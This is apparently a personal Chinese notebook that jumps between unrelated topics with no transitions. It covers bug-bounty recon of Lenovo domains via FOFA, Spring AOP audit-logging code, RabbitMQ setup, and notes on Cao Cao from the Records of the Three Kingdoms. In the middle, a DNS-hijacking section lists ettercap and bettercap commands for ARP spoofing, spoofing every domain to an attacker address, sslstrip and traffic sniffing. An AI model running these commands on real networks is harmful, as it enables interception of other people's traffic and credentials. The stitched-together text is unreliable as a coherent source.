选漏洞盒子，某想SRC 域名


域名列表


```js
*.lenovo.com

*.lenovo.com.cn

*.lenovomm.com

*.lenovo.cn

*.lenovo.net

*.motorola.com

*.motorola.com.cn

*.baiying.cn

*.baiying.com.cn
```


常见流程:



1、信息收集


2、扫描与检测


--------------------------


1、信息收集


.lenovo.cn


1.1最先想到的是枚举域名列表。用FOFA试着搜索下



t.lenovo.cn 103.212.4.7

![image.png](/static/img/8af0f45a4b3b89cc1fb94eba29c16d10.image.webp)



![image.png](/static/img/0151a72618604a66ca729e2a7ead8ad4.image.webp)
2.2 子域名开放80，443

渗透探索

Spring aop 面向切面编程


1、作用


不修改原有代码逻辑，通过切点的方式，提高代码可读性



2、术语


Aspect: 切面: 切面类，封装切面类执行逻辑

JoinPoint: 连接点: 被AOP连接的目标类的方法；可以插入切面的点

Advice: 通知: 在连接点具体动作，Before，Around

Pointcut: 切点: 执行到哪些目标方法上


3、通知分类


Before 前置通知 方法执行前；Around环绕通知，自定义前后行为；


4、通过Spring AOP实现日志审计


自定义注解实现切点

```@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface  Auditable {
    String value() default "";
}
```



日志类

```@Data
@AllArgsConstructor
public class Syslog {
    private String methodName;
    private String message;
    private String args;
    private String result;
    private String status;
    private String exception;
}

```
切面类

```/**
 * 切面类
 *
 */
@Component
@Aspect
public class AuditAspect {
    private static final Logger logger = LoggerFactory.getLogger(AuditAspect.class);
    @Around("@annotation(auditable)")
    public Object audit(ProceedingJoinPoint joinPoint, Auditable auditable) throws Throwable {
        String methodName = joinPoint.getSignature().getName();
        String message = auditable.value();
        // 获取参数
        Object[] args = joinPoint.getArgs();
        String arrsString = args != null ? Arrays.stream(args).map(Object::toString).collect(Collectors.joining(",")) : null;
        Syslog syslog = new Syslog(methodName, message, arrsString, null, null, null);
        try {
            Object proceed = joinPoint.proceed();
            syslog.setResult(proceed == null ? "null" : proceed.toString());
            syslog.setStatus("成功");
            return proceed;
        } catch (Throwable e) {
            syslog.setStatus("失败");
            syslog.setException(e.getMessage());
            throw e;
        } finally {
            logger.info("日志审计记录: {}", syslog);
        }
    }
}

```
5、灵境给的使用示例

```@Aspect
@Component
public class LoggingAspect {

    // 定义切点：service 包下所有方法
    @Pointcut("execution(* com.example.service.*.*(..))")
    public void serviceMethod() {}

    @Before("serviceMethod()")
    public void logBefore(JoinPoint joinPoint) {
        System.out.println("调用方法：" + joinPoint.getSignature().getName());
    }

    @Around("serviceMethod()")
    public Object measureTime(ProceedingJoinPoint pjp) throws Throwable {
        long start = System.currentTimeMillis();
        Object result = pjp.proceed();
        long time = System.currentTimeMillis() - start;
        System.out.println(pjp.getSignature() + " 耗时 " + time + "ms");
        return result;
    }
}
```

SpringAop

搜索引擎FOFA:



用法:   
```js
1、body="login"&&title="login"&&city="guangzhou"&&port="80"&&server="ubuntu"
2、body="login"||country="us"	
```
DNS劫持:


       
			
				
```
        ettercap:

            安装ettercap sudo apt install ettercap
			2、修改eetercap dns 地址 
				cd /etc/ettercap
				ls
				vim ettercap.dns
				添加地址: * A IP
				
			3、启动apache服务
			cd /var/www/html
			vim index.html
			services apache2 start
			
			4、ettercap -G
		bettercap:
			net.probe on	
			set arp.spoof.targets 192.168.1.13
			arp.spoof on
			set dns.spoof.all true
			set dns.spoof.address 192.168.1.9
			set dns.spoof.domains *          
			dns.spoof on
			set http.proxy.sslstrip true
			http.proxy on
			https.proxy on
			net.sniff on
			events.stream on

流量劫持

# 1、rabbitmq安装
ubuntu运行:

```js
sudo apt install rabbitmq-server -y
```
启动并开机自启

```js
sudo systemctl enable rabbitmq-server
sudo systemctl start rabbitmq-server
```
检查服务是否正常
```js
sudo systemctl status rabbitmq-server
```
启用web管理软件

```js
sudo rabbitmq-plugins enable rabbitmq_management
```
创建用户并配置权限

```js
sudo rabbitmqctl add_user your_user your_password
sudo rabbitmqctl set_user_tags your_user administrator
```
配置防火墙

```js
sudo ufw allow 5672
sudo ufw allow 15672
```
# 2、rabbitmq web配置
# 3、rabbitmq java配置和使用




rabbitmq使用

为什么看三国志?想看下史书中人物是否同个人了解有所出入。
# 魏
## 《魏武帝纪》
 谈及曹操，人们大多数想的是"宁叫我负天下人，休教天下人负我"。有五色棒下黔首与权贵平等，有"治世之能臣，乱世之枭雄"，有大败四世三公的袁绍，有北征乌桓荡平外敌，有赤壁之战的折戟沉沙.....谈及这些，大家都耳熟能详。人们因本身三观等，谈及历史、三国、人物，不同的人会有不同的看法，但大都有些共识。故找出共识，表达见解为此文义。



  曹操身世。曹操有个小名叫吉利，小字阿满。其父曹嵩乃夏侯氏血脉，为东汉朝廷常侍(宦官)曹腾养子。对于曹嵩是否为夏侯氏养子说法，作者依据其他人文章论证。往往古今人物身世背景，大都谈及宽厚仁孝，敦厚仁和，与邻里为善，莫不是如此。


曹操生平。曹操年少机敏警惕，心中有谋略，有游侠气概，谈事放荡，不务正业，当时的人都看不出有啥奇特的地方。《曹瞒传》介绍操、其叔父与其父嵩的一个小故事。《魏书》言:时太尉桥玄看好操，愿以家中后事托付给曹操。《汉纪》言:世称玄为名臣，历任东汉朝廷高官，后柩无所殡。《世语》言: 曹操拜访名士许子将，子将给了评价。



    尝问许子将：“我何如人？”子将不答。固问之，子将曰：“子治世之能臣，乱世之奸雄。”太祖大笑。--《世语》


三国志中只有"年二十，举孝廉为郎，除洛阳北部尉，迁顿丘令，后征拜议郎。"这些是魏书言:五色棒杖杀灵帝宠臣蹇硕叔父，迁顿丘令；因事从坐免官，后以能明古学，复征拜议郎。其上书劝谏，慨宦官当权，未纳；不复献言。



【评:操与玄颇熟，有人奇操；年二十举孝廉，就当时而论，时间稍晚；能名古学，加之短歌行，非不勿正业】


【释: 隋唐以前，朝廷取士多为举孝廉，即通过当地中正官举荐入仕。中正官举荐大都通过其郡望、其孝悌名气等。因此这些评价大都符合常理。】


后以骑都尉讨黄巾，迁济南相，清吏治，断淫祀，久之，迁东郡太守;不就，归故里。魏书补充"春夏习读书传，秋冬弋猎，以自娱乐"。--卓进京，废弘农王而立献帝，表操为骁骑校尉，操更姓易名，间行东归。仅魏书与世语记其与吕伯奢之事，是非真相，难以分明。仅记东平六年十二月末，起兵己吾。


【评:"宁我负人，毋人负我"，难以分明】


有这样一个故事。说得是有王芬、许攸、周旌，这几个人想要学伊尹、霍光行废立之事，拉曹操一起，曹操没去，然后他们失败了。魏书中的这段话比较有意思:



    《魏书》载太祖拒芬辞曰：“夫废立之事，天下之至不祥也。古人有权成败计轻重而行之者，伊尹、霍光是也。伊尹怀至忠之诚，据宰臣之势，处官司之上，故进退废置，计从事立。及至霍光受托国之任，藉宗臣之位，内因太后秉政之重，外有群卿同欲之势，昌邑即位日浅，未有贵宠，朝乏谠臣，议出密近，故计行如转圜，事成如摧朽。今诸君徒见曩者之易，未睹当今之难。诸君自度，结众连党，何若七国？合肥之贵，孰若吴、楚？而造作非常，欲望必克，不亦危乎！”
    


从这里可以看出什么?"诸君自度，何若七国。"


何进谋十常侍。大将军何进召董卓进京，董卓还没到，何进因事败露见杀，卓废弘农王而立献帝，表操为骁骑校尉。操变易姓名，间行东归。后有虎牢关故事。